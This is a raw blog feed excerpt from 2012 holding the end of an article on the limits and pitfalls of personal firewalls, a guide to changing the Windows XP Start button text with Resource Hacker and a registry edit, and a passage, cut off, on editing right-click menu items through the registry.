other tools and ways which are more effective. These are cookie utilities.
Since a tracking site uses a cookie to identify and relate the information
gathered to the same person (or computer), by preventing the cookie from being
installed. The tracking site will lose its ability to track things. There are
plenty of cookie management utilities. Some of them are freeware, and some are
not. CookieCop which was mentioned in the former section is one of them.
WebWasher (http://www.webwasher.com) is another recommended one, and there are
plenty of other alternatives such as cookie-crusher, cookie-pal, pop-up killer,
etc. You may search for other alternatives, in Tucows
(http://www.tucows.com/cookie95.html).&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;NetBIOS and Other Services?&lt;/span&gt;&lt;br /&gt;
The NetBIOS over TCP/IP (NBT) which is sometimes loosely called
"NetBIOS", is a service which has some security problems with it. It
is enabled by default in Windows default installations, and it is very common
to see that a firewall does the job of preventing the efforts to get access to
your computer via NBT. Yet, in almost all cases, this service is not needed,
and thus can be disabled. To disable NBT in Win95/98/ME is not as simple as it
is in Win2K/XP, but can still be done reliably. We explain how to do this in
another article (#to be written soon). It is needless to say, that if NBT is
disabled, there is no need for a firewall to block communication to it. Also,
in the case of other services, such as RPC services, and others, in many cases
you simply don't need those services and better disable them from within
Windows rather than use the firewall to block them. There are various ways to
know which services are running on your computer, and which of them are
listening for communications from the outside. If there are ones that you don't
need, they should be disabled. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Hiding the Computer?&lt;/span&gt;&lt;br /&gt;
In web sites of many personal firewall companies, they are putting a lot of
weight on the ability of their firewall to hide the computer on the Internet.
Yet, exposing your home computer on the Internet is by itself, neither a
security nor a privacy threat. If you provide some services to the Internet on
your computer, for example, you put a web server on your computer to allow
other people to view web pages, then you might get rid of some of the crackers,
by setting your firewall to unhide only this type of communications. Some
attackers will not make a full scan of your computer, but only a partial scan,
and if they did not scan for the specific service that you provided, they will
not see your computer. Yet, if the service is a common one, there is a good
chance for many of them to scan it and thus find the existence of your
computer. If they "see" the existence of your computer, they might
decide to scan it further, and find out the services you are providing, and
scan it for security holes to use. Yet, there is no much meaning to it when we
speak about simple home computers.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;span style="color: silver;"&gt;What a Firewall Cannot Do!&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
Another misconception about personal firewalls is that they are incorrectly
thought as if they claim to give an overall protection against
"hackers" (i.e. intrusions). They are not. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;b&gt;&lt;span style="color: silver; font-family: &amp;quot;Tahoma&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;Defense Against Exploitation of Security Holes&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Tahoma&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;&lt;br /&gt;
A firewall can allow or deny access to your computer or from your computer
according to the type of communication, its source and destination, and
according to the question which program on your computer is handling the
communication. Yet, its ability to understand the details of the communication
is very limited. For example, you may set the firewall to allow or to deny your
e-mail program from getting and/or sending messages. It may allow or deny your
web browser from browsing the Internet. But if you allowed your e-mail program
to communicate with the e-mail servers for sending and receiving messages, (and
you are likely to allow it if you want to use your e-mail program), or if you
set the firewall to allow your web browser to communicate with web sites, the
firewall will not be able to understand the content of the communication much
further, and if your web browser has a security hole, and some remote site will
try to exploit it, your firewall will not be able to make a distinction between
the communication that exploits the security hole, and legitimate
communication. The same principle goes with e-mail program. A personal firewall
may block you from receiving or sending e-mail messages, but if you allowed it
to receive messages, the personal firewall will not make a distinction between
a legitimate message and a non-legitimate one (such as a one that carries a
virus or a Trojan horse). Security holes in legitimate programs can be
exploited and a personal firewall can do practically nothing about it. &lt;br /&gt;
I should comment, however, that some personal firewalls come combined with some
Trojan horse detection, or intrusion detection. This is not part of the
classical definition of a firewall, but it might be useful. Such tasks are
usually taken by other tools such as antivirus programs or antiTrojan programs.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Tricks to Bypass or Disable Personal Firewalls&lt;/span&gt;&lt;br /&gt;
There are also various ways to disable, or bypass personal firewalls. During
the time a few tricks to bypass or disable were demonstrated by various
programs. Especially, tricks for an internal program to communicate with the
outside bypassing or tricking the firewall. For some of them such as the one
demonstrated by the Leaktest, and in which a non-legitimate program disguises
itself as Internet Explorer, practically today, all personal firewalls are
immuned. For other tricks, such as a one demonstrated by Outbound, which uses
some non-standard type of communication directly to the network adapters
bypassing the components of the operating system which are suppose to deal with
Internet communication, and by that bypassing the firewall, are only now being
patched against by the various firewalls, and yet other methods, such as the
one demonstrated by Tooleaky, which uses Internet Explorer as a messenger to
communicate with the outside, and is thus identified as a mere legitimate
browsing, are still waiting for most of the personal firewall to find a fix. &lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;span style="color: silver;"&gt;Firewalls CANNOT Decide for You What is a
Legitimate Communication and What is Not &lt;/span&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
One of the main problems with personal firewalls, is that you cannot simply
install them and forget them, counting on them to do their job. They can deny
or permit various types of communications according to some criteria, but what
is this criteria, and who decides what is the criteria for whether they should
permit or deny some communication? &lt;br /&gt;
&lt;br /&gt;
The answer, is that it is the computer user's job to define the exact criteria
when the firewall should allow a communication and when it should block it. The
firewall may make it easier for you, but it should not take the decisions.
There are too many programs, too many versions, and it is not possible for the
firewall to decide accurately when a communication is legitimate and when it is
not. One person might think that it is legitimate for some program to deliver
some information to the outside in order to get some service, while another
will think that it is not. One version of a program might communicate with its
home server in order to check whether there is an upgrade, and another version
might also install the upgrade even if you do not wish. Some firewalls will try
to identify communication efforts which are largely considered as legitimate,
and will let you the information so that it will be easier for you to decide
whether such should be allowed. Others will suffice with more basic
information, making no suggestions (and thus - no incorrect recommendations).
One way or another, once you installed a firewall, you will have better means
to understand what types of communications are running on your computer, but
you will also have to understand them in order to be able to configure your
firewall so that it will correctly know which communications to allow and which
to block. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Common Problems and Deficiencies Regarding Personal
Firewalls &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
A personal firewall might be a good contribution to security. Yet, if you do
not understand much about the topic, then you are likely to be confused and
misled by its alerts and queries, and thus find yourself spending hours in
chasing after imaginary crackers, fear from imaginary threats, and misconfigure
it due to misunderstanding. You may find yourself blocking legitimate and
important communication believing it to be cracking efforts, and thus surprised
to see why things work slowly or why you are disconnected from the Internet, or
you might be misled to allow a non-legitimate communication by some software
that tricked you to believe that it is a legitimate one. On the other side, if
you are quite knowledgeable on computers and security, then you are likely to
effectively defend your computer even without a firewall (by means discussed in
section II.4) and it is thus that the role of personal firewall in securing
your computer, is extremely small and not much important. We discuss here in
brief some of the problems that personal firewalls may generate. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;A False Sense of Security &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
As we've already learned here, a firewall is limited in its ability to secure
your computer. Yet, many people believe that if they will install a personal
firewall they will be secured against the various security threats. I was even
surprised to find out that there are people who believe that give much higher
priority in installing a personal firewall than in installing an antivirus
program. An always updated antivirus program plays a much more important role
in the security of a personal home computer than installing and maintaining a
personal firewall. A personal firewall should not come on account of any other
security measure that you use. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;A False Sense of Insecurity &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
When you install a firewall and you look at all the communication efforts
through it, you might be surprised at the amount of communication efforts from
the Internet to your computer. Most of them are blocked by a typically
configured firewall. There are all the times efforts to try to communicate with
various backdoor Trojans on your computers. If you are not infected, there will
be nothing to listen and to respond to those communication efforts, and they
are thus practically harmless. There are efforts to communicate with your NBT
driver, to see if your computer by mistake allows file sharing. There are other
types of probes to see if your computer exists, or various efforts of servers
to probe your computer in order to find the best path for legitimate communication
to it. There are sometimes remnants of communications that were supposed to go
to other computers, but made their way to yours (for advanced readers: because
the IP number that your computer uses, were used by some other computer
earlier). Those communication efforts are blocked even without a firewall. If
your computer is not infected with a RAT, and if your computer don't have
NetBIOS over TCP/IP enabled or even it does not have file and print sharing
enabled (and on most computers this is disabled by default), then none of these
pose any security threat. If your computer is not infected with a SubSeven
Trojan, then no matter how often there will be efforts to communicate with it,
they are all doomed to be failed. &lt;br /&gt;
Yet, some personal firewall (such as Norton Personal Firewall or ZoneAlarm) by
default proudly announce that they have just blocked an effort to crack into
your computer. Norton may even define those efforts that were blocked as
"high security threats" while they were not a threat at all even if
your computer didn't have a personal firewall at all. Such firewalls give you
the false impression that they save your computer again and again from
extremely dangerous threats on the Internet, so that you wonder how did you
survive so much time without noticing any intrusion before you installed the
firewall. I usually say, that those personal firewalls are set their
"report level" to "promotional mode". Namely, the personal
firewall is set to give you the false impression that it is much more important
than it really is. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Chasing After Ghosts&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
This is a side effect of the types of misunderstandings that were discussed in
the previous subsection. &lt;br /&gt;
When a person who starts to learn about the jargon related to personal
firewalls, is reported that some "dangerous" communication efforts
persist from the same source, the person is decisive to locate and identify the
"hacker", and perhaps report about it to the police or to its
Internet service provider. However, since many people do not really understand
thoroughly how things work, they may sometimes spend many hours in trying to
locate a cracker that does not exist, or when the knowledge they need to have,
in order to track the cracker, is much higher than what they have, and they
might even suspect the wrong person due to lack of knowledge (e.g. the
connection person on the Internet service provider that was used by the
cracker). More knowledgeable people, usually do not bother to track those
"hackers" (which are usually teenagers), but instead are
concentrating on the security of their computer. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Blocking Legitimate Communications&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
No personal firewall is smart enough to decide for the user what is a
legitimate communication and what is not. A personal firewall cannot make a
distinction between a legitimate program trying to contact its server to check
and notify the user when there is a newer version, and a non-legitimate program
trying to communicate with its server in order deliver sensitive information
such as passwords, unless the user tells it. It is thus up to the user to
decide what should be considered as legitimate and what should not. Yet, can we
count on the user to be knowledgeable enough to decide what is legitimate and
what is not? In many cases the user is not knowledgeable enough, and may thus
allow non-legitimate communication or disallow a legitimate and important
communication. There are many types of communications handled just to manage
other communications. Among this are various types of communications between
your computer and the various servers of your Internet service provider. A not
knowledgeable user may interpret those types of communications as cracking
efforts, and will thus decide to block them. As a result, a connection might
become slower, a connection to the Internet service provider might be
disconnected quiet often and other types of communication problems. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Being Tricked by Trojans bbb&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Just as less knowledgeable users may instruct the firewall to block legitimate
communications, they can be tricked by various Trojans to allow them to
communicate. Some Trojans are using names resembling or identical to names of
legitimate programs, so that the user would think that it is a legitimate
programs. Users should be aware of that. &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: silver;"&gt;Heavy Software, Buggy Software&lt;u&gt; &lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Until now we discussed only problems related to lack of appropriate knowledge
by the user. Yet, there are other problems regarding personal firewalls. For
example, some of them are known to be quite heavy on computer resources, or
slow down the communication speed. Different personal firewalls quite vary with
regard to that. If you have a new computer with a slow Internet communication
(such as regular dial-up networking) then it might not slow down your computer
noticeably. Yet, if you use an older computer, and a fast communication, you
might find that some personal firewalls will slow down your communication quite
drastically. Personal firewalls also vary on how much they are stable. &lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;span style="color: silver;"&gt;Advantages of External Firewalls over Personal
Firewalls&lt;/span&gt;&lt;/u&gt; &lt;br /&gt;
&lt;br /&gt;
1. They do not take resources from the computer. This should be clear. This is
especially useful when the firewall blocks flooding attacks. &lt;br /&gt;
2. It is harder (although in principle still possible) for a Trojan horse to
disable it, because it does not reside in the same computer that the Trojan has
infected. It is not possible to use the specific communication while totally
bypassing the firewall. &lt;br /&gt;
3. They can be used without any dependence on the operating system on the
computer(s) they defend. &lt;br /&gt;
4. No instability problems. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-4276556372556490962?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/4276556372556490962/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/firewall-protection-how-to.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/4276556372556490962?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/4276556372556490962?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/firewall-protection-how-to.html' title='Firewall Protection how to'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CEYMSXs6eyp7ImA9WhVREEo.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-3844051107291808302</id><published>2012-03-18T05:03:00.001-07:00</published><updated>2012-03-18T05:03:08.513-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-03-18T05:03:08.513-07:00</app:edited><title>Change Text on XP Start Button</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;Step 1 - Modify
Explorer.exe File&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;In order to make the
changes, the file explorer.exe located at C:\Windows needs to be edited. Since
explorer.exe is a binary file it requires a special editor. For purposes of
this article I have used Resource Hacker. Resource HackerTM is a freeware
utility to view, modify, rename, add, delete and extract resources in 32bit
Windows executables and resource files (*.res). It incorporates an internal
resource script compiler and decompiler and works on Microsoft Windows
95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;get this from
h**p://delphi.icm.edu.pl/ftp/tools/ResHack.zip&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;The first step is to
make a backup copy of the file explorer.exe located at C:\Windows\explorer.
Place it in a folder somewhere on your hard drive where it will be safe. Start
Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;The category we are
going to be using is "String Table". Expand it by clicking the plus
sign then navigate down to and expand string 37 followed by highlighting 1033.
If you are using the Classic Layout rather than the XP Layout, use number 38.
The right hand pane will display the stringtable. We’re going to modify item
578, currently showing the word “start” just as it displays on the current
Start button.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;There is no magic
here. Just double click on the word “start” so that it’s highlighted, making
sure the quotation marks are not part of the highlight. They need to remain in
place, surrounding the new text that you’ll type. Go ahead and type your new
entry. In my case I used Click Me!&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;You’ll notice that
after the new text string has been entered the Compile Script button that was
grayed out is now active. I won’t get into what’s involved in compiling a
script, but suffice it to say it’s going to make this exercise worthwhile.
Click Compile Script and then save the altered file using the Save As command
on the File Menu. Do not use the Save command – Make sure to use the Save As
command and choose a name for the file. Save the newly named file to
C:\Windows.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;Step 2 – Modify the
Registry&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;!!!make a backup of
your registry before making changes!!!&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;Now that the modified
explorer.exe has been created it’s necessary to modify the registry so the file
will be recognized when the user logs on to the system. If you don’t know how
to access the registry I’m not sure this article is for you, but just in case
it’s a temporary memory lapse, go to Start (soon to be something else) Run and
type regedit in the Open field. Navigate to:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;HKEY_LOCAL_MACHINE\
SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;In the right pane,
double click the "Shell" entry to open the Edit String dialog box. In
Value data: line, enter the name that was used to save the modified
explorer.exe file. Click OK.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;Close Registry Editor
and either log off the system and log back in, or reboot the entire system if
that’s your preference. If all went as planned you should see your new Start
button with the revised text.[/b]&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-3844051107291808302?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/3844051107291808302/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/change-text-on-xp-start-button.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/3844051107291808302?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/3844051107291808302?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/change-text-on-xp-start-button.html' title='Change Text on XP Start Button'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CEcAQ305eip7ImA9WhVREEo.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-7289772630530257661</id><published>2012-03-18T05:00:00.001-07:00</published><updated>2012-03-18T05:00:42.322-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-03-18T05:00:42.322-07:00</app:edited><title>How To Remove and Add Right-Click Menu Items from Files and Folders</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; page-break-after: avoid; text-align: center;"&gt;
&lt;b&gt;&lt;span lang="EN-CA" style="color: teal; font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 18.0pt; mso-ansi-language: EN-CA;"&gt;How To Remove and Add
Right-Click Menu Items from Files and Folders&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 18.0pt; mso-ansi-language: EN-CA;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; page-break-after: avoid; text-align: center;"&gt;
&lt;b&gt;&lt;span lang="EN-CA" style="color: teal; font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 14.0pt; mso-ansi-language: EN-CA;"&gt;Removing Items&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 14.0pt; mso-ansi-language: EN-CA;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-CA;"&gt;A lot of programs you install will add themselves to the right-click
menu of your files and/or folders. And most times, you have no choice in the
matter and, as a result, your right-click menu can get very long with added
items you don't even use. The last person I was helping with this had a right
context menu so long that the Rename option was no longer visible!&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-CA;"&gt;Fortunately, you can easily remove those unwanted menu items, if you
know the registry values to edit. And it's not at all difficult once you know
the keys responsible for the additions.&lt;br /&gt;
&lt;br /&gt;
For Files, the secret lies in the "context menu handlers" under the
shellex subkey for "All Files" which, in the registry, is nothing but
an asterisk - like a dos wildcard, which means the values entered apply to all
files. It is at the very top of the Root key, right here:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Click the the + sign next to the ContextMenuHandlers key, to expand it.&lt;br /&gt;
Now you will see some of the programs that have added items to your right-click
menu. Simply delete the program keys you don't want. &lt;br /&gt;
Yup! It's that simple. If deleting makes you uneasy, just export the key before
deleting it. Or, instead of deleting the values, disable them. Simply double
click the default value for the program on the right hand pane and rename the
clsid value by placing a period or dash in front of it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-CA;"&gt;ie; - {b5eedee0-c06e-11cf-8c56-444553540000}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-CA;"&gt;Then exit the registry, refresh, and right click a file to see if the
item was removed from the menu.&lt;br /&gt;
Some programs - like WinZip or WinRar - will add several items to your right
click menu but all of them will be removed by deleting or disabling their one
context menu handler. &lt;br /&gt;
&lt;br /&gt;
Note that the above key only applies to the right click menu of files.&lt;br /&gt;
To remove entries from the right click context menu of folders, you need to
navigate to the Folder and Drive keys:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers&lt;br /&gt;
HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
All you have to do is follow the same procedure as for Files - either disable
or delete items you wish to remove.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; page-break-after: avoid; text-align: center;"&gt;
&lt;b&gt;&lt;span lang="EN-CA" style="color: teal; font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 14.0pt; mso-ansi-language: EN-CA;"&gt;Adding Items&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 14.0pt; mso-ansi-language: EN-CA;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-CA" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: EN-CA;"&gt;Adding Items to the right click menu of Files and Folders is also fairly
simple using the Registry. It just involves the creation of a few new keys for
each item you wish to add. You edit the same keys used for removing items.
Let's use Notepad as an example of an item you'd like to add to the right click
menu of all your files or folders.&lt;br /&gt;
&lt;br /&gt;
For folders, go to this key:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
